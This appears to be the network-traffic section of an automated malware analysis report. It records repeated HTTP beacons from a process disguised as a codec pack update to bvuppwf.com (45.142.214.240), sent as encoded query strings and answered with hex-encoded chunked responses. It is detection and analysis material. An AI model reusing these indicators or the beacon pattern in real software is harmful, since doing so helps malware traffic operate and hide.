Mar 29, 2024 12:59:00.274084091 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:00.626739979 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:00.923988104 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:01.268338919 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:01.578259945 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:01.924237967 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:02.229691982 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:02.340536118 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:02.636924028 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:02.972625017 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:03.279911041 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:03.387979984 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:03.695990086 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 39 65 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 37 38 65 64 32 65 61 31 37 31 36 66 35 61 32 35 63 65 61 31 64 64 35 66 62 38 63 65 37 39 37 38 37 34 64 38 62 34 64 64 62 65 30 63 30 33 37 33 34 62 39 34 64 66 38 64 35 64 61 31 61 32 35 65 33 37 32 35 38 61 64 37 65 66 37 36 34 61 63 32 64 35 34 63 38 66 66 63 64 30 39 63 36 35 64 63 63 37 62 62 34 31 61 66 65 33 33 38 61 32 36 65 66 31 31 61 65 36 33 64 62 35 32 62 38 65 33 35 30 65 66 35 38 37 38 35 64 65 39 32 34 36 64 39 34 33 62 36 37 38 65 66 34 31 32 63 38 66 31 39 34 39 32 33 62 64 33 36 39 39 33 30 38 64 63 35 38 38 35 32 39 62 36 35 39 62 38 65 66 35 61 33 66 65 66 37 61 63 63 66 63 37 61 62 64 39 31 65 64 64 31 34 38 65 63 33 66 63 39 31 36 33 35 35 36 35 38 32 30 65 34 33 62 37 31 30 61 37 38 62 62 65 64 38 61 65 30 38 37 32 38 35 37 65 63 35 64 37 62 32 31 66 35 32 62 35 38 65 39 66 65 65 37 38 38 65 34 33 66 37 33 62 61 65 63 34 65 39 38 38 35 66 62 37 61 32 63 31 34 62 35 37 36 65 62 39 65 64 35 62 31 36 36 63 66 36 61 30 30 32 32 33 32 36 34 61 63 35 63 63 61 64 38 62 33 33 38 32 62 62 66 64 37 30 63 62 63 30 39 61 37 61 33 33 33 62 63 63 66 63 38 33 30 37 34 32 61 30 35 64 32 33 38 65 65 30 64 65 66 64 33 62 39 31 39 34 64 64 34 32 31 31 36 63 32 35 66 64 38 66 33 36 33 39 36 32 63 62 34 39 33 34 30 61 33 65 61 64 31 62 36 63 31 33 66 32 33 61 30 37 61 62 39 65 62 30 30 39 61 61 30 62 63 37 33 35 31 61 31 38 65 66 30 33 66 61 63 66 66 38 35 39 38 31 61 65 66 30 61 65 35 35 32 38 61 34 64 36 63 63 66 62 65 63 30 66 34 64 64 35 34 36 35 62 66 39 66 65 39 32 34 61 64 37 37 38 66 30 35 33 34 61 62 32 32 64 66 33 39 64 39 39 65 31 65 63 61 35 65 62 33 32 66 30 63 31 35 34 66 63 62 64 34 36 38 35 36 33 38 35 32 36 35 38 65 66 64 38 36 32 66 33 32 36 32 34 61 31 33 64 31 63 31 62 33 30 65 31 32 66 39 64 30 62 32 65 38 64 64 33 34 37 34 37 32 65 32 32 31 38 37 63 33 30 33 31 35 34 31 39 64 62 34 63 35 30 34 34 63 34 65 64 31 37 64 37 35 35 31 33 32 34 36 65 36 63 66 64 34 63 63 65 65 63 62 35 30 39 66 32 32 36 64 34 37 66 65 37 36 33 35 38 37 32 38 62 36 63 34 39 32 37 37 38 66 34 61 63 31 38 63 32 36 30 32 30 32 36 33 38 33 66 35 39 63 65 66 31 32 30 65 61 36 32 66 38 61 64 33 31 61 37 62 31 64 64 35 33 37 64 32 66 35 39 35 30 66 36 38 33 34 37 37 39 38 33 66 30 30 65 64 35 63 34 36 37 65 36 63 38 65 34 65 63 34 62 39 61 32 65 30 32 61 61 31 64 34 63 37 30 65 35 33 38 35 32 37 63 39 34 32 35 36 38 64 62 39 64 36 36 32 64 34 34 66 33 61 62 37 37 36 65 33 32 63 32 37 61 64 36 35 38 32 35 64 31 37 63 65 61 34 61 34 61 65 36 34 61 66 63 38 31 32 39 61 34 65 63 38 64 66 63 66 34 65 62 33 31 39 62 33 34 39 66 36 61 64 62 30 36 35 39 30 61 66 32 39 61 63 33 31 33 34 30 63 32 39 63 36 38 32 37 39 30 32 65 38 61 33 63 32 34 37 37 37 65 38 32 65 33 33 32 62 31 63 31 64 63 31 32 38 61 39 35 39 61 34 31 37 39 62 35 66 64 63 61 36 63 30 39 39 34 39 66 39 34 31 38 39 38 62 62 33 63 31 33 35 30 63 64 33 32 39 33 39 61 35 38 35 35 39 64 66 35 30 30 36 30 62 34 35 64 30 34 36 31 30 35 66 33 31 34 32 30 32 66 61 39 35 34 65 35 66 61 62 30 39 33 35 64 34 66 33 61 61 31 64 63 31 65 39 37 33 62 31 65 31 65 32 66 66 31 64 32 38 37 35 63 30 30 33 63 36 63 34 30 62 61 34 35 38 66 65 35 35 32 32 37 34 62 Data Ascii: 49e67b69c953804b26b565fe95b321bd19a55f78ed2ea1716f5a25cea1dd5fb8ce797874d8b4ddbe0c03734b94df8d5da1a25e37258ad7ef764ac2d54c8ffcd09c65dcc7bb41afe338a26ef11ae63db52b8e350ef58785de9246d943b678ef412c8f194923bd3699308dc588529b659b8ef5a3fef7accfc7abd91edd148ec3fc91635565820e43b710a78bbed8ae0872857ec5d7b21f52b58e9fee788e43f73baec4e9885fb7a2c14b576eb9ed5b166cf6a00223264ac5ccad8b3382bbfd70cbc09a7a333bccfc830742a05d238ee0defd3b9194dd42116c25fd8f363962cb49340a3ead1b6c13f23a07ab9eb009aa0bc7351a18ef03facff85981aef0ae5528a4d6ccfbec0f4dd5465bf9fe924ad778f0534ab22df39d99e1eca5eb32f0c154fcbd468563852658efd862f32624a13d1c1b30e12f9d0b2e8dd347472e22187c30315419db4c5044c4ed17d75513246e6cfd4cceecb509f226d47fe76358728b6c492778f4ac18c2602026383f59cef120ea62f8ad31a7b1dd537d2f5950f683477983f00ed5c467e6c8e4ec4b9a2e02aa1d4c70e538527c942568db9d662d44f3ab776e32c27ad65825d17cea4a4ae64afc8129a4ec8dfcf4eb319b349f6adb06590af29ac31340c29c6827902e8a3c24777e82e332b1c1dc128a959a4179b5fdca6c09949f941898bb3c1350cd32939a58559df50060b45d046105f314202fa954e5fab0935d4f3aa1dc1e973b1e1e2ff1d2875c003c6c40ba458fe552274b
Mar 29, 2024 12:59:03.696019888 CET	104	IN	Data Raw: 31 64 31 34 36 61 34 38 63 31 30 30 31 33 32 66 61 63 34 32 65 63 63 63 33 38 31 64 63 64 64 62 30 37 64 38 62 64 64 33 37 32 32 33 31 30 39 33 61 61 32 37 35 32 32 66 31 62 66 66 64 62 32 62 35 33 37 31 64 63 64 61 32 63 37 39 61 34 38 66 35 66 Data Ascii: 1d146a48c100132fac42eccc381dcddb07d8bdd372231093aa27522f1bffdb2b5371dcda2c79a48f5f4b54d390abd47740

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:04.233731985 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:04.543636084 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:04.653286934 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:04.952740908 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:05.059288979 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:05.364540100 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:05.701803923 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:05.999649048 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:06.106339931 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:06.412883043 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:06.748155117 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:07.046247959 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:07.153408051 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:07.458676100 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:07.805202961 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:08.101895094 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:08.435174942 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:08.741849899 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:09.075777054 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:09.380022049 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:09.713854074 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:10.009288073 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:10.122006893 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:10.425319910 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:10.764656067 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:11.064590931 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:11.403064966 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:11.705988884 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:12.050126076 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:12.361087084 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49758	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:12.708509922 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:13.009927988 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
